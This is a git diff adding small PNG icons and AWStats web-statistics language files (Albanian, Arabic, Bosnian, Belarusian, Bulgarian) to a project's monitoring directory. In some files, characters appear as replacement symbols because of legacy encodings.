z8H4RcwpU923yfASYmHhJXt}vh=8XOdx9u@K%d7uY@|&;BF_qLY*{Sw)%Fc*5zaPG$ zOE;Z=eVnh6uliGk+L5BouGd=c`3g)=db9R}>asc0USzHKe0%!5-InvJbhLKxr!EHt O3WKMspUXO@geCx$`*zL% literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu7.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu7.png new file mode 100644 index 0000000000000000000000000000000000000000..d117bbc9f1a6bd2ba54338d0bbfb31598e911cf7 GIT binary patch literal 591 zcmeAS@N?(olHy`uVBq!ia0y~yVBlk5VBq0kVqjpn`$)Q%fq_B4#5JPCxhOTUBr`ux zAtW<5l_4cFS5LvnTp_D8Ge=Ls$iTo@!O+CY)X2)jKtbEU(7+%pv1l~|0|R@Br>`sf zWp-&EQz6qUO{NSC44efXk;M!QTpvJ~(P@pz3<d@UmUKs7M+SzC{oH>NSs54@7kj!m zhE&|jop@TGIZ))-d!O`67x_BVGdP8(u&!!RNNQ&h+_-VW<c=eU&RyG|kf^yaGopi6 zOibzG5hw9go#Cq%8p_pb%snS@x%zowY`=$z-?>NL`{Mof)wCayXx=|rOxa+0P=k^b z^P30V-LXs;edN9u2-?KNhFt#6A-OCwb<?KugqosETlwDj_Oj{XJgVn5$*{GtYN((8 zzpMVj^yLwyp^3HmlNV{U_4yqZlsfo7aMqeeiMEGx=cE?uoPNczX#ItsD;hIBuL`XU z?>e@Oaf^(T%6iZL3p!nt1UPQwm@%)qc6D3dmMfo`8Du^RTuD*=J+H@Zp8U?}Uy{4; z>Txt>&N|-s*X{Mz+Kd_6>z8}KYMA!)`?X2^ALsqM_Te4Z264klDnI|$UD9jwDppNh zbf?&)q;jWbrpJo4^JdJnvgQn{IDWS`m!~B_#I;EDRHk66EbE@_n-?#v4hSnQH^10C zcP`ici0dc5q=&^`_l#Ne?0MSk(=Tp6h)YRcz2L%6we*;M7iaBTncv5=bXAs)nDVK| vA19O<ovePU%DV4f)GIL=SJnN0YZwaGo>{rjNB#f<0|SGntDnm{r-UW|heY<a literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu8.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu8.png new file mode 100644 index 0000000000000000000000000000000000000000..ceff521f76937a759fe384f60e17367a07f3cb93 GIT binary patch literal 539 zcmeAS@N?(olHy`uVBq!ia0y~yVBi5^4kiW$hMVH2H!v_T=$E)glsFfqCYEI8=P86_ z=B6^FWajEA7?~?%m1gGXDHs_T7%Lc>SQ(jF85%2S8yFfG@bA35nt_3Vy~NYkmHjfi zG>@_7rPedk85kHi3p^r=85p=efH0%e8j~3e3=Aykj=qiz3>*8o|0J?9FfitOx;TbZ z+)DoQ|Gz!6gp7UNpOcf-c?<-kq`1<J4~e$6wzj^z$D8=Q_HWgn>-syC)Hq82{(9v< zU#`8Vpyl5WMwQf=GiPT>Y}eCp(%7|WCx6F+T|0ItY}uTsc>bv;dw9bU$@j9cM+>sM z7By)czP>wA(L9WkW6i&hkJtSC{z*a2ao+#k{{KWi$8&CbcayiR-d@5&^<m$HEvIgk zcfLIzfA0OAX`igbd^V*ue!uxfe@^u=g(bSlY2SXlzkmGEqe+*H<oEqeemMETpSph! zrwaSLe>d;n=Px^^tmAFo;T^W}qkrT#;i{_pa`Ozro~QjduArvLVlsoZqxFX*%R2pk zhmU{!^~Uq`o=x}Er6snwrnctzzqkB7^Z2Qgnp0eT?oLuHx;oX=wR-#ijV~?E9;oeo zczu0c=)-kxm7eqb!|faI{*Y&DaIEohc(A|WfHET^ci6SvZ^gPd=_myCoVa-C!;?-` t=EKeQ^?sW-?6?)pz{+|grBQ{Uw0gnAUs;=j85kHCJYD@<);T3K0RX{G?1TUS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/page.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/page.png new file mode 100644 index 0000000000000000000000000000000000000000..bb859eed38485d4f152da5ab3eb244259d5861ad GIT binary patch literal 252 zcmeAS@N?(olHy`uVBq!ia0y~yVBln6VBp|jU|?Y2Th^7yz`&qi;u=xnT$Gwvl9`{U z5R#dj%8*l<r>9_Kq>xpbnWLv*WME*VU}$M&Xl7+%s-SIPXkf7V#djqJ1_t&LPhVH| zOYCBT)~3o+6}v&k7kES#GcX91fH32|H2De!1_qXNM_)$<hK>E)e-c?47#IRPT^vIy zZY9U49A{v2kNjcBq^TF^7AGc}IqiS^j+y^#Qyz&uNc>$qzrDY`v+?1<%iq_ZGced- yU{JIFfBRe68A~;5Tw`Z7HWuzx5I!;Ce>kIzjHrR~u4|?sZ+W`<xvX<aXaWEufKAu{ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vh.png new file mode 100644 index 0000000000000000000000000000000000000000..13e52f9ef9a675349c93b1eeeef2ea1388a3bdc6 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0vp@3=9m6EX)iH4By!;O&Ay$^h;bLN}P*Q6H7Al^Atid zb5j|zQcLv|49yg>67$OR6pRcEj1>%xtxQ2kLEFI4z~I)?!y6bF7}!fZeO=ivGYasS zF-7xlHfCU8;4JWnEM{Qf`T)X=PHRkNFfcH%q&xaLGB9lH=l+w(%D}*&9^ez=%5m(R z;<;;1&)--7|3ByZ|CZ<Pi|;*8zIHF@*g3<kdl{ClWtcKWVC`Cui`+2`3=9IEE{-7; kw~`Y=%6#9))G{!zw=*3rpCQ!Cz`(%Z>FVdQ&MBb@0F_-zU;qFB literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vk.png new file mode 100644 index 0000000000000000000000000000000000000000..ac1bc63b7f1b1566abc0986fc6a8d5f0c70aff44 GIT binary patch literal 236 zcmeAS@N?(olHy`uVBq!ia0vp@3=9m6EX)iH4By!;O&Ay$^h;bLN}P*Q6H7Al^Atid zb5j|zQcLv|49yg>67$OR6pRcEj1>%xtxS!qj0_aC4Gawo__%h1%w#X|^mS#w%qYNP zq7)SVv66v-fwRCPvY3H^>jMZgI;}C8!N9=4lJ4m1$iT3%pZiZDD+2?AN`Oy@D?>vd zLq{0Hf<o1;bL>|y(pxfBcxo?KUoAsNE<=S6Lz*LlpOJ*?1~&!<1_4hO$B>F!$q6B4 fzVBo9$}q6!F|CO`Q)|k=z`)??>gTe~DWM4f3G_V0 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vp.png new file mode 100644 index 0000000000000000000000000000000000000000..8ebf70216123ac0fd386005e511f20f42be2d5ca GIT binary patch literal 248 zcmeAS@N?(olHy`uVBq!ia0vp@3=9m6EX)iH4By!;O&Ay$^h;bLN}P*Q6H7Al^Atid zb5j|zQcLv|49yg>67$OR6pRcEj1>%xtxS!rj7$`?4GawoMBBfpGcYi)mw5WRvR`Ht z;AIl~ZTqi}fq{Xuz$3Dlfr0A-2s1jZF`2=@z`&C3=<CS9u(6-}Pa-P=1A{?;Plzjr z*Ez-HYfdfitJnUYv-f|?()Yzvo+tO*3#vY+8MT+eaxH_?6oH_%3@|XAf#(YY1A~C4 mi(^Q|t>lD|GT-+xwK5FseN1Oc8-v|I>O5WjT-G@yGywoclSS|V literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vu.png new file mode 100644 index 0000000000000000000000000000000000000000..7d39356cb4c6b82118e36f61ba725f54c1429e81 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0vp@3=9m6EX)iH4By!;O&Ay$^h;bLN}P*Q6H7Al^Atid zb5j|zQcLv|49yg>67$OR6pRcEj1>%xtxS!qOidNE4Gawo!oJVl!oa}5UgGKN%6^$q zfX9@nK<U8;1_lPs0*}aI1_rJVAk65r#$*Nq0|QICqpu?a!^VE@KZ&di3=HZ4J|V8> ziaD<JD866n^#54(|7&yJA8UEOwfNrJ<a2X^_O=+VO=g(l#jrM6;Gdxw69WT-fTxRN mNX4z>gpe}d_c65$4D9VpN6Tjj^)fIpFnGH9xvX<aXaWEk{zuRN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vv.png new file mode 100644 index 0000000000000000000000000000000000000000..d5b7cddb15db1759f745a3943966a5114592d1e8 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0vp@3=9m6EX)iH4By!;O&Ay$^h;bLN}P*Q6H7Al^Atid zb5j|zQcLv|49yg>67$OR6pRcEj1>%xtxOHA49pa?4Gawoj+`*^V_;xlFY)wsWxvcQ zz+=p(e~vqrfq{Xuz$3Dlfr0A-2s1jZF`2=@z`&C3=<CS9u(6-}Pa-P=1A}^iPl)T~ zlOZ>brM$RX_4(Pn&u`bge7yMa-5K|;_gy~Qd}3eTzODZ2X8G@17dg>Rs*izzLBP|+ mF{I*FazaR%@B5fq83y(~rZc6D!EOu;3=E#GelF{r5}E+6(M&M_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-al.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-al.txt new file mode 100644 index 0000000..f997866 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-al.txt @@ -0,0 +1,134 @@ +# Vargjet e mesazheve në Shqip. Ju lutem më kontaktoni për korrigjime (artonberisha@radiokosova.net, http://www.radiokosova.net) +# $Revision: 1.3 $ - $Date: 2008/11/15 15:17:37 $ +PageCode=utf-8 +message0=Panjohur +message1=Panjohur (IP e Pazgjidhur) +message2=Tjera +message3=Paraqit Detajet +message4=Ditës +message5=Muajit +message6=Viti +message7=Statistikat për +message8=Vizita e parë +message9=Vizita e fundit +message10=Numri i vizitave +message11=Vizitor të përbashkët +message12=Vizita +message13=Fjali të ndryshme +message14=Kërkesa +message15=Përqind +message16=Trafiku +message17=Vendet +message18=Vizitorë +message19=Faqe-URL +message20=Orës +message21=Shfletues +message22=Gabime HTTP +message23=Dërguest +message24=Pafreskuar +message25=Vizitorët sipas Vendeve +message26=Strehues +message27=Faqe +message28=Faqe të ndryshme-url +message29=Paraqitur +message30=Fjali tjera +message31=Faqet që nuk janë gjetur +message32=HTTP kodi gabimeve +message33=Botimi Netscape +message34=Botimi IE +message35=Freskimi Fundit +message36=Lidhu te faqja nga +message37=Origjina +message38=Adresa direkte/Shenjime +message39=Origjinë e Panjohur +message40=Nyjet nga Kërkuest +message41=Nyjet nga Faqet e jashtme (Faqe tjera n'përjashtim me Kërkuest) +message42=Nyjet nga faqet e mbrendshme (Mbrenda faqes) +message43=Kryefrazat e kërkuara +message44=Kryefjalitë e përdorura nga kërkuest +message45=Adresa IP e pazgjidhur +message46=SO i panjohur(përdoruesi) +message47=Nevojitur mirpo nuk janë gjetur URL't(HTTP kodi 404) +message48=IP Adresa +message49=Gabimet gjatë hyrjes +message50=Shfletuest e panjohur(Përdoruest) +message51=Robotat e ndryshëm +message52=Vizita/Vizitor +message53=Robota/Vizitor marimange +message54=AWStats - Analizues falas për çdo faqe +message55=Prej +message56=Faqe +message57=Hyrje +message58=Botimet +message59=Sistemi Operues +message60=Jan +message61=Shk +message62=Mar +message63=Pr +message64=Maj +message65=Qër +message66=Korr +message67=Gush +message68=Sht +message69=Tet +message70=Nën +message71=Dhjet +message72=Lundrimi +message73=Tipi Vargjeve +message74=Freskoje +message75=Transmetim +message76=Prapa te faqja kryesore +message77=Top +message78=dd mmm yyyy - HH:MM:SS +message79=Filteri +message80=Lista +message81=Strehuest +message82=Njohur +message83=Robotat +message84=Diel +message85=Hën +message86=Mar +message87=Mer +message88=Enj +message89=Pre +message90=Sht +message91=Javës +message92=Kush vizitoi +message93=Rezultatet Sipas +message94=Vërtetimet +message95=Min +message96=Mesatarja +message97=Maks +message98=Ngjeshja e Faqes +message99=Transmetimi i Ruajtur +message100=Ngjeshe +message101=Ngjeshja +message102=Shuma +message103=Kryefraza të ndryshme +message104=Hyrjet +message105=Kodi +message106=Sasia mesatare +message107=Lidhjet nga lajmëruest +message108=KB +message109=MB +message110=GB +message111=Rrëmbyes +message112=Po +message113=Jo +message114=WhoIs info +message115=N'rregull +message116=Dalje +message117=Zgjatja e Vizitës +message118=Mbylle dritaren +message119=Bajta +message120=Kryefrazat e Kërkuara +message121=Kryefjalit e Kërkuara +message122=Makinat e ndryshme kërkuese +message123=Nga Faqet e ndryshme +message124=Fraza tjera +message125=Hyrjet tjera (dhe/ose t'panjohurit) +message126=Makinat kërkuese +message127=Faqet drejtuese +message128=Pëgjithësia +message129=Valuta është pavlerë në shiqimin 'Vjetor' +message130=Vitit \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ar.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ar.txt new file mode 100644 index 0000000..3fd2ece --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ar.txt @@ -0,0 +1,169 @@ +# Arabic message file (SanDan u2canbe@hotmail.com) +# $Revision: 1.2 $ - $Date: 2004/02/10 19:13:08 $ +PageCode=windows-1256 +PageDir=rtl +message0=����� +message1=����� (����� IP ��� �����) +message2=���� +message3=������ �������� +message4=��� +message5=��� +message6=��� +message7=������� � +message8=��� ����� +message9=��� ����� +message10=��� �������� +message11=������ +message12=����� +message13=����� ��� ������ +message14=��� +message15=������ +message16=���� +message17=�������\����� +message18=������ +message19=����� ������� +message20=������� +message21=����� ������ +message22= +message23=�������� +message24=�� ��� ������� (See 'Build/Update' on awstats_setup.html page) +message25=������ �������\����� +message26=������ +message27=����� +message28=����� ����� ������ +message29=����� +message30=����� ���� +message31=����� ��� ������ +message32=��� ���� HTTP +message33=����� ������ +message34=����� �������� +message35=��� ����� +message36=���� ������� �� ���� +message37=������ +message38=���� ����� \ ���� ������ +message39=���� ����� +message40=����� �� ������ ��� +message41=����� �� ����� ������ (��� ������ �����) +message42=����� �� ����� ������ (����� �� ���� ������) +message43=��� ����� ��������� �� ������ ����� +message44=����� ����� ��������� �� ������ ����� +message45=������ IP �� ��� ������� +message46=���� ����� ����� +message47=����� ������ ��� ��� ������ (��� HTTP 404 ) +message48=����� IP +message49=���� ��� +message50=����� ����� +message51=����� ����� +message52=������\���� +message53=������ �����\������ +message54=���� ����� ����� �������� ������ +message55=�� +message56=����� +message57=����� +message58=������� +message59=����� ������� +message60=������ +message61=������ +message62=���� +message63=����� +message64=���� +message65=����� +message66=����� +message67=����� +message68=������ +message69=������ +message70=������ +message71=������ +message72=������ +message73=��� ����� +message74=��� ���� +message75=����� +message76=������ ������ ��������� +message77=���� +message78=dd mmm yyyy - HH:MM +message79=���� +message80=���� ������� +message81=������ +message82=����� +message83=����� +message84=����� +message85=������� +message86=�������� +message87=�������� +message88=������ +message89=������ +message90=����� +message91=���� ������� +message92=�� +message93=��� +message94=���������� �������� +message95=��� +message96=���� +message97=���� +message98=������ ������ +message99=����� ������� +message100=�������� ���� +message101=����� �������� +message102=������ +message103=��� ��� ������ +message104=���� +message105=��� +message106=���� ����� +message107=����� �� ������� ������� +message108=�.� +message109=�.� +message110=�.� +message111=���� +message112=��� +message113=�� +message114=������ +message115=����� +message116=���� +message117=��� �������� +message118=���� ������� +message119=���� +message120=��� ���� ��� +message121=��� ���� ��� +message122=������ ��� ����� ������ +message123=����� ����� ������ +message124=��� ���� +message125=����� ����� ���� ���� +message126=������ ��� ����� +message127=����� ����� +message128=������� +message129=������ ������� ��� ������ �� ��� ����� +message130=������� ��� ������� +message131=���� ������ +message132=���� �������� +message133=����� �������� +message134=����\����� +message135=��� ������ +message136=���� �� �����\���� +message137=����� ��� ������� (������) +message138=���� ����� +message139=��� ����� +message140=����� ���� ������ +message141=����� ���� ������������� ������� +message142=����� ���� ������ +message143=����� ���� ����� ����� +message144=����� ���� �� ���� ���� +message145=����� ���� �� ����� ����� +message146=����� ���� �� PDF +message147=���� ����� �� SMTP +message148=��� +message149=���� +message150=��� +message151=��� +message152=��� +message153=���� ������� +message154=������ ������ ����� ��� ���� ���� HTTP ��� ����� �� ��� ������ +message155=������ +message156=��������� ������ ����� ��� ���� ���� ��� ����� �� ��� ������ +message157=������� ��� + �� ����� ����� ���� 'robots.txt' +message158=������� ����� ������ ����� ��� ���� ���� ��� ����� �� ��� ������ +message159=������ ��� �������� �� ���� ������� ��������� �� ������� ����� �� ���� ���� �� HTTP +message160=������ �������� +message161=������ ��� �������� +message162=�������� ������ +message163=������� ����� +message164=������� ��� ������ diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ba.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ba.txt new file mode 100644 index 0000000..064a49f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ba.txt @@ -0,0 +1,174 @@ +# Bosnian message file (info@uino.gov.ba) +# $Revision: 1.5 $ - $Date: 2007/03/06 18:36:29 $ +PageCode=iso-8859-2 +message0=Nepoznat +message1=nepoznatih (IP adresa nije razrije�ena) +message2=Ostalo +message3=Vidi detalje +message4=Dan +message5=Mjesec +message6=Godina +message7=Statistika za +message8=Prvi posjet +message9=Zadnji posjet +message10=Broj posjeta +message11=Jedinstvenih posjetilaca +message12=Posjet +message13=Klju�na rije� +message14=Pretraga +message15=Procenat +message16=Saobra�aj +message17=Domeni/Zemlje +message18=Posjetitelji +message19=Stranice/URL +message20=Sati (Serversko vrijeme) +message21=Browseri (preglednici) +message22=HTTP Gre�ke +message23=Refereri (linkovi) +message24=Klju�ne rije�i pretrage +message25=Domeni/zemlje posjetitelja +message26=ra�unara +message27=stranica +message28=razli�ite stranice +message29=Pristup +message30=Ostale rije�i +message31=Neprona�ene stranice +message32=HTTP Kodovi gre�ke +message33=Verzije Netscape-a +message34=Verzije IE-a +message35=Posljednje osvje�avanje +message36=Link na sajt sa: +message37=Odakle je korisnik do�ao +message38=Direktan pristup / Bookmarks +message39=Nepoznato porijeklo +message40=Link sa Internet pretra�iva�a +message41=Link sa eksterne stranice (drugi web sajtovi sem pretra�iva�a) +message42=Link sa vlastite stranice (druga stranica unutar istog sajta) +message43=klju�nih fraza kori�tenih na pretra�iva�ima +message44=klju�nih rije�i kori�tenih na pretra�iva�ima +message45=Nerazrije�ena IP Adresa +message46=Nepoznat OS (polje Referer) +message47=Zahtjevan URL koji nije prona�en (HTTP kod 404) +message48=IP Adresa +message49=Gre�ke Pogodci +message50=Nepoznat preglednik (polje Referer) +message51=Roboti posjetitelji +message52=posjeta/posjetitelju +message53=Posjetitelji roboti/spideri +message54=Besplatan analizator logova za napredne web statistike +message55=od +message56=Stranica +message57=Pogodaka +message58=Verzije +message59=Operativni sistem +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Maj +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigacija +message73=Dnevna statistika +message74=Osvje�i sada! +message75=Bajta +message76=Nazad na glavnu stranicu +message77=Prvih +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Puna lista +message81=Ra�unari +message82=poznatih +message83=Roboti +message84=Ned +message85=Pon +message86=Uto +message87=Sri +message88=�et +message89=Pet +message90=Sub +message91=Dani sedmice +message92=Ko +message93=Kada +message94=Prijavljenih korisnika +message95=Min +message96=Prosje�no +message97=Max +message98=Web kompresija +message99=Sa�uvani promet +message100=Prije kompresije +message101=Poslije kompresije +message102=Ukupno +message103=razli�itih klju�nih fraza +message104=Ulaz +message105=Kod +message106=Prosje�na veli�ina +message107=Dolazaka sa NewsGroupa +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Da +message113=Ne +message114=Info. +message115=OK +message116=Izlaz +message117=Trajanje posjeta +message118=Zatvori prozor +message119=Bajta +message120=Tra�ene Fraze +message121=Tra�ene Rije�i +message122=razli�itih pretra�iva�a +message123=razli�itih sajtova +message124=Ostale fraze +message125=Ostali posjeti (i/il anonimni korisnici) +message126=Sa kojih pretra�iva�a +message127=Sa kojih stranica +message128=Opis i statistika +message129=Ta�an broj nije dostupan u godi�njen pregledu +message130=Vrijednost niza podataka (Data value arrays) +message131=E-Mail po�iljaoca +message132=E-Mail primatelja +message133=Period izvje�taja +message134=Extra/Marketing +message135=Veli�ine ekrana +message136=Worm/Virus napadi +message137=Stavljeno u favorite (procjenjeno) +message138=Dani u mjesecu +message139=Razno +message140=Preglednici sa podr�kom za Javu +message141=Preglednici sa podr�kom za Macromedia Director-a +message142=Preglednici sa podr�kom za Flash +message143=Preglednici sa podr�kom za sviranje Real audia +message144=Preglednici sa podr�kom za sviranje Quicktime audia +message145=Preglednici sa podr�kom za sviranje Windows Media audia +message146=Preglednici sa podr�kom za PDF +message147=SMTP kodovi gre�ka +message148=Dr�ave +message149=Mails +message150=Veli�ina +message151=Prvi +message152=Posljednji +message153=Filter isklju�enja (Exclude filter) +message154=Ovdje prikazani podaci svrstani su pod "nevi�eno" od �ivih korisnika, tako da nisu uklju�eni u ostale rezultate. +message155=Cluster +message156=Promet ovdje prikazanih robota svrstan je pod "nevi�eno" od �ivih korisnika, tako da ti podaci nisu uklju�eni u ostale rezultate. +message157=Broj nakon + je broj uspje�nih pogodaka na "robots.txt" datoteku. +message158=Promet ovdje prikazanih crva (worms) svrstan je pod "nevi�eno" od �ivih korisnika, tako da ti podaci nisu uklju�eni u ostale rezultate. +message159=Nevi�en promet uklju�uje promet stvoren robotima, crvima (worms), ili kao odgovor specijalnim HTTP status kodovima. +message160=Vi�en promet +message161=Nevi�en promet +message162=Mjese�ni promet +message163=Crv (worm) +message164=Razli�itih crva (worms) +message165=Uspje�no poslanih mailova +message166=Mail-ovi nisu poslani/odbijeni +message167=Osjetljivi ciljevi (Sensitive targets) +message168=Onemogu�en Javascript +message169=Napravio +message170=plugins \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-be.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-be.txt new file mode 100644 index 0000000..03b3e2a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-be.txt @@ -0,0 +1,176 @@ +# Belarusian message file (piatruk.p@gmail.com) +# $Revision: 1.1 $ - $Date: 2008/06/04 17:29:21 $ +PageCode=utf-8 +message0=Невядомы +message1=Невядомы (невызначаны ip) +message2=Іншыя +message3=Праглядзець падрабязнасці +message4=Дзень +message5=Месяц +message6=Год +message7=Статыстыка для +message8=Першае наведванне +message9=Апошняе наведванне +message10=Колькасць наведванняў +message11=Унікальныя наведвальнікі +message12=Наведванне +message13=разнастайныя ключавыя словы +message14=Пошук +message15=Працэнт +message16=Трафік +message17=Дамены/Краіны +message18=Наведвальнікі +message19=Pages-URL +message20=Гадзіны +message21=Браузеры +message22=Памылкі HTTP +message23=Рэферэры +message24=Не абнаўлялася (Глядзі 'Збудаваць/Абнавіць' на старонцы awstats_setup.html) +message25=Дамены/краіны наведвальнікаў +message26=машыны +message27=старонкі +message28=разнастайныя старонкі-url +message29=Прагледжана +message30=Іншыя словы +message31=Старонкі не знойдзены +message32=Коды статусу HTTP +message33=Версіі Netscape +message34=Версіі IE +message35=Апошняе абнаўленне +message36=Злучэнне з сайтам з +message37=Паходжанне +message38=Прамы доступ / Закладкі / Спасылка па пошце +message39=Невядомае паходжанне +message40=Спасылка з Пошукавых сістэм +message41=Спасылка са знешняй старонкі (з іншага сайта, не пошукавай сістэмы) +message42=Спасылка з унутранай старонкі (іншай старонкі на тым жа сайце) +message43=Ключавыя фразы з пошукавай сістэмы +message44=Ключавыя словы з пошукавай сістэмы +message45=Нявызначаны IP-адрас +message46=Невядомая OS (поле useragent) +message47=Запатрабаваныя, але не знойдзеныя адрасы (код HTTP 404) +message48=IP-адрасы +message49=Памылка Хіты +message50=Невядомыя браузеры (поле useragent) +message51=разнастайныя робаты +message52=наведванні/наведвальнік +message53=Робаты/Павукі-наведвальнікі +message54=Вольны аналізатар логаў для пашыранай веб-статыстыкі +message55= +message56=Старонак +message57=Хітоў +message58=Версій +message59=Аперацыйных сістэм +message60=Сту +message61=Лют +message62=Сак +message63=Кра +message64=Тра +message65=Чэр +message66=Ліп +message67=Жні +message68=Вер +message69=Кас +message70=Ліс +message71=Сне +message72=Навігацыя +message73=Тып файла +message74=Абнавіць зараз +message75=Трафік +message76=Вярнуцца на галоўную +message77=Найбольшыя +message78=dd mmm yyyy - HH:MM +message79=Фільтр +message80=Поўны спіс +message81=Машыны +message82=Вядомыя +message83=Робаты +message84=Няд +message85=Пан +message86=Аўт +message87=Сер +message88=Чац +message89=Пят +message90=Суб +message91=Дні тыдня +message92=Хто +message93=Калі +message94=Аўтэнтыфікаваныя +message95=Мін. +message96=Сярэдне +message97=Макс. +message98=Сціск Web +message99=Ашчаджана трафіку +message100=Сціск у +message101=Вынік сціску +message102=Агулам +message103=разнайстайныя ключавыя фразы +message104=Уваход +message105=Код +message106=Сярэдні памер +message107=Спасылкі з груп навін +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Так +message113=Не +message114=Whois +message115=Добра +message116=Выхад +message117=Працягласць наведванняў +message118=Закрыць акно +message119=Байтаў +message120=Пошук Фразы +message121=Пошук Словы +message122=разнастайныя пошукавыя сістэмы, што спасылаюцца +message123=разнастайныя сайты, што спасылаюцца +message124=Іншыя фразы +message125=Іншыя логіны (і/ці ананімныя карысальнікі) +message126=Пошукавыя машыны, што спасылаюцца +message127=Сайты, што спасылаюцца +message128=Агульна +message129=Такое значэнне недаступна ў выглядзе 'Год' +message130=Масівы значэнняў дадзеных +message131=EMail адпраўніка +message132=EMail атрымальніка +message133=Справазадача за +message134=Дадаткова/Маркетынг +message135=Памеры экрану +message136=Атакі чарвей/вірусаў +message137=Дадаць у Выбраныя (магчыма) +message138=Дні месяца +message139=Рознае +message140=Браузеры з падтрымкай Java +message141=Браузеры з падтрымкай Macromedia Director +message142=Браузеры з падтрымкай Flash +message143=Браузеры з падтрымкай прайгравання Real audio +message144=Браузеры з падтрымкай прайгравання Quicktime audio +message145=Браузеры з падтрымкай прайгравання Windows Media audio +message146=Браузеры з падтрымкай PDF +message147=Коды памылак SMTP +message148=Краіны +message149=Лісты +message150=Памер +message151=Першы +message152=Апошні +message153=Фільтр выключэння +message154=Коды, паказаныя тут, даюць трафік або хіты, нябачныя наведвальнікам, таму яны не ўключаны ў іншыя табліцы. +message155=Класцер +message156=Робаты, паказаныя тут, даюць трафік або хіты, нябачныя наведвальнікам, таму яны не ўключаны ў іншыя табліцы. +message157=Лічбы пасля + паспяховыя хіты на файлы "robots.txt". +message158=Чэрві, паказаныя тут, даюць трафік або хіты, нябачныя наведвальнікам, таму яны не ўключаны ў іншыя табліцы. +message159=Нябачны трафік уключае трафік, згенераваны робатамі, чарвямі або адказамі са спецыльным кодам HTTP. +message160=Бачны трафік +message161=Нябачны трафік +message162=Месяцовая гісторыя +message163=Чэрві +message164=разнастайныя чэрві +message165=Паспяхова дасланыя лісты +message166=Недасланыя лісты +message167=Адчувальнасць мэтаў +message168=Javascript адключана +message169=Створана +message170=плагіны +message171=Рэгіёны +message172=Гарады diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bg.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bg.txt new file mode 100644 index 0000000..894a71a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bg.txt @@ -0,0 +1,161 @@ +# Bulgarian message file translated by Aryan(aryan@bgns.net) +# $Revision: 1.4 $ - $Date: 2008/07/25 07:34:50 $ +PageCode=utf-8 +message0=Непознати +message1=Непознати (непреобразувани ip-адреси) +message2=Други +message3=Детайли +message4=Ден +message5=Месец +message6=Година +message7=Статистики за +message8=Първоначално посещение +message9=Посл. посещение +message10=Брой посещения +message11=Уникални посетители +message12=Посещениe +message13=различни ключови думи +message14=Търсене +message15=Процент +message16=Трафик +message17=Домейни/Държави +message18=Посетители +message19=Страници-URL +message20=По часове +message21=Браузъри +message22=HTTP Грешки +message23=Препратки +message24=Никога не е обновявано +message25=Посетители по домейни/държави +message26=хостове +message27=страници +message28=различни страници-url +message29=Разглеждани +message30=Други ключови думи +message31=Неоткрити страници +message32=HTTP кодове за грешка +message33=Netscape версии +message34=IE версии +message35=Последно обновяване +message36=Връзка към сайта от +message37=Произход +message38=Директни адреси / Bookmarks +message39=Неизвестен произход +message40=Връзки от Интернет Търсачки +message41=Връзки от външни страници (други сайтове освен търсачки) +message42=Връзки от вътрешни страници (други страници от сайта) +message43=Ключови фрази използвани в търсачките +message44=Ключови думи използвани в търсачките +message45=Непреобразувани IP адреси +message46=Непозната ОС (поле "useragent") +message47=Посочени, но неоткрити URL-и (HTTP код 404) +message48=IP Адрес +message49=Грешни Хитове +message50=Непознати браузъри (поле "useragent") +message51=различни роботи +message52=посещения/посетител +message53=<b>Претърсващи роботи</b> +message54=Безплатен логфайл-анализатор за разширени уеб статистики в реално време +message55=от +message56=Страници +message57=Хита +message58=Версии +message59=Операционни Системи (ОС) +message60=Яну +message61=Фев +message62=Мар +message63=Апр +message64=Май +message65=Юни 